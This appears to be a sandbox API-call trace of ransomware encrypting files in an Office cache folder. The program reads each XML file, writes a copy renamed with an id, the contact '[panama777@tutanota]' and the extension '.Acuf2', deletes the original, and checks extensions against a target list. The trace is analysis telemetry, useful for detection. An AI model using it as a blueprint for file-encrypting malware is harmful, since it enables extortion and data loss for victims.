	[0039.342] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0039.342] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.342] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.343] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0039.343] GetLastError () returned 0x0
	[0039.343] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x5ac, lpOverlapped=0x0) returned 1
	[0039.344] WriteFile (in: hFile=0x190, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0039.345] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.345] WriteFile (in: hFile=0x190, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0039.345] SetEndOfFile (hFile=0x190) returned 1
	[0039.345] CloseHandle (hObject=0x190) returned 1
	[0039.346] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.346] SetEndOfFile (hFile=0x1a0) returned 1
	[0039.347] CloseHandle (hObject=0x1a0) returned 1
	[0039.347] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.347] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0039.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.348] lstrlenW (lpString=".doc") returned 4
	[0039.348] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.348] lstrlenW (lpString=".docx") returned 5
	[0039.348] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0039.348] lstrlenW (lpString=".pdf") returned 4
	[0039.348] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.348] lstrlenW (lpString=".xls") returned 4
	[0039.348] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.348] lstrlenW (lpString=".xlsx") returned 5
	[0039.348] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0039.348] lstrlenW (lpString=".ppt") returned 4
	[0039.348] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.348] lstrlenW (lpString=".zip") returned 4
	[0039.348] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.348] lstrlenW (lpString=".rar") returned 4
	[0039.348] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.348] lstrlenW (lpString=".bz2") returned 4
	[0039.348] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.348] lstrlenW (lpString=".7z") returned 3
	[0039.348] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.348] lstrlenW (lpString=".dbf") returned 4
	[0039.348] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.348] lstrlenW (lpString=".1cd") returned 4
	[0039.348] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.348] lstrlenW (lpString=".jpg") returned 4
	[0039.348] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.349] lstrlenW (lpString=".doc") returned 4
	[0039.349] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.349] lstrlenW (lpString=".docx") returned 5
	[0039.349] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0039.349] lstrlenW (lpString=".pdf") returned 4
	[0039.349] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.349] lstrlenW (lpString=".xls") returned 4
	[0039.349] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.349] lstrlenW (lpString=".xlsx") returned 5
	[0039.349] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0039.349] lstrlenW (lpString=".ppt") returned 4
	[0039.349] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.349] lstrlenW (lpString=".zip") returned 4
	[0039.349] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.349] lstrlenW (lpString=".rar") returned 4
	[0039.349] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.349] lstrlenW (lpString=".bz2") returned 4
	[0039.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.349] lstrlenW (lpString=".7z") returned 3
	[0039.349] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.349] lstrlenW (lpString=".dbf") returned 4
	[0039.349] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.349] lstrlenW (lpString=".1cd") returned 4
	[0039.349] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.349] lstrlenW (lpString=".jpg") returned 4
	[0039.349] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.350] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.350] lstrlenW (lpString="Setup.xml") returned 9
	[0039.350] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0039.350] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=9352) returned 1
	[0039.350] CloseHandle (hObject=0x1a0) returned 1
	[0039.350] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0039.350] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.350] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0039.350] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.350] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.350] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0039.351] GetLastError () returned 0x0
	[0039.351] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x2488, lpOverlapped=0x0) returned 1
	[0039.352] WriteFile (in: hFile=0x190, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2490, lpOverlapped=0x0) returned 1
	[0039.353] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.353] WriteFile (in: hFile=0x190, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0039.353] SetEndOfFile (hFile=0x190) returned 1
	[0039.353] CloseHandle (hObject=0x190) returned 1
	[0039.354] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.354] SetEndOfFile (hFile=0x1a0) returned 1
	[0039.355] CloseHandle (hObject=0x1a0) returned 1
	[0039.355] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.355] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0039.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.356] lstrlenW (lpString=".doc") returned 4
	[0039.356] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.356] lstrlenW (lpString=".docx") returned 5
	[0039.356] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0039.356] lstrlenW (lpString=".pdf") returned 4
	[0039.356] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.356] lstrlenW (lpString=".xls") returned 4
	[0039.356] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.356] lstrlenW (lpString=".xlsx") returned 5
	[0039.356] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0039.356] lstrlenW (lpString=".ppt") returned 4
	[0039.356] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.356] lstrlenW (lpString=".zip") returned 4
	[0039.356] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.356] lstrlenW (lpString=".rar") returned 4
	[0039.356] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.356] lstrlenW (lpString=".bz2") returned 4
	[0039.356] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.356] lstrlenW (lpString=".7z") returned 3
	[0039.356] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.356] lstrlenW (lpString=".dbf") returned 4
	[0039.356] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.356] lstrlenW (lpString=".1cd") returned 4
	[0039.356] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.356] lstrlenW (lpString=".jpg") returned 4
	[0039.356] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.357] lstrlenW (lpString=".doc") returned 4
	[0039.357] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.357] lstrlenW (lpString=".docx") returned 5
	[0039.357] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0039.357] lstrlenW (lpString=".pdf") returned 4
	[0039.357] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.357] lstrlenW (lpString=".xls") returned 4
	[0039.357] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.357] lstrlenW (lpString=".xlsx") returned 5
	[0039.357] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0039.357] lstrlenW (lpString=".ppt") returned 4
	[0039.357] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.357] lstrlenW (lpString=".zip") returned 4
	[0039.357] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.357] lstrlenW (lpString=".rar") returned 4
	[0039.357] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.357] lstrlenW (lpString=".bz2") returned 4
	[0039.357] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.357] lstrlenW (lpString=".7z") returned 3
	[0039.357] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.358] lstrlenW (lpString=".dbf") returned 4
	[0039.358] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.358] lstrlenW (lpString=".1cd") returned 4
	[0039.358] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.358] lstrlenW (lpString=".jpg") returned 4
	[0039.358] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.359] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.359] lstrlenW (lpString="AccessMUI.xml") returned 13
	[0039.359] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0039.360] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1349) returned 1
	[0039.360] CloseHandle (hObject=0x1a0) returned 1
	[0039.360] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020
	[0039.360] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.360] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0039.360] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.360] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.361] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0039.361] GetLastError () returned 0x0
	[0039.361] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x545, lpOverlapped=0x0) returned 1
	[0039.362] WriteFile (in: hFile=0x190, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x550, lpOverlapped=0x0) returned 1
	[0039.363] ReadFile (in: hFile=0x1a0, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.363] WriteFile (in: hFile=0x190, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0039.363] SetEndOfFile (hFile=0x190) returned 1
	[0039.363] CloseHandle (hObject=0x190) returned 1
	[0039.364] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.364] SetEndOfFile (hFile=0x1a0) returned 1
	[0039.365] CloseHandle (hObject=0x1a0) returned 1
	[0039.365] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.365] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1
	[0039.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.365] lstrlenW (lpString=".doc") returned 4
	[0039.365] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.365] lstrlenW (lpString=".docx") returned 5
	[0039.365] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0039.365] lstrlenW (lpString=".pdf") returned 4
	[0039.366] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.366] lstrlenW (lpString=".xls") returned 4
	[0039.366] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.366] lstrlenW (lpString=".xlsx") returned 5
	[0039.366] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0039.366] lstrlenW (lpString=".ppt") returned 4
	[0039.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.366] lstrlenW (lpString=".zip") returned 4
	[0039.366] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.366] lstrlenW (lpString=".rar") returned 4
	[0039.366] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.366] lstrlenW (lpString=".bz2") returned 4
	[0039.366] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.366] lstrlenW (lpString=".7z") returned 3
	[0039.366] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.366] lstrlenW (lpString=".dbf") returned 4
	[0039.366] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.366] lstrlenW (lpString=".1cd") returned 4
	[0039.366] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.366] lstrlenW (lpString=".jpg") returned 4
	[0039.366] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.366] lstrlenW (lpString=".doc") returned 4
	[0039.366] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.367] lstrlenW (lpString=".docx") returned 5
	[0039.367] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0039.367] lstrlenW (lpString=".pdf") returned 4
	[0039.367] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.367] lstrlenW (lpString=".xls") returned 4
	[0039.367] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.367] lstrlenW (lpString=".xlsx") returned 5
	[0039.367] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0039.367] lstrlenW (lpString=".ppt") returned 4
	[0039.367] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.367] lstrlenW (lpString=".zip") returned 4
	[0039.367] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.367] lstrlenW (lpString=".rar") returned 4
	[0039.367] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.367] lstrlenW (lpString=".bz2") returned 4
	[0039.367] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.367] lstrlenW (lpString=".7z") returned 3
	[0039.367] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.367] lstrlenW (lpString=".dbf") returned 4
	[0039.367] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.367] lstrlenW (lpString=".1cd") returned 4
	[0039.367] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0039.367] lstrlenW (lpString=".jpg") returned 4
	[0039.367] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.368] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.368] lstrlenW (lpString="branding.xml") returned 12
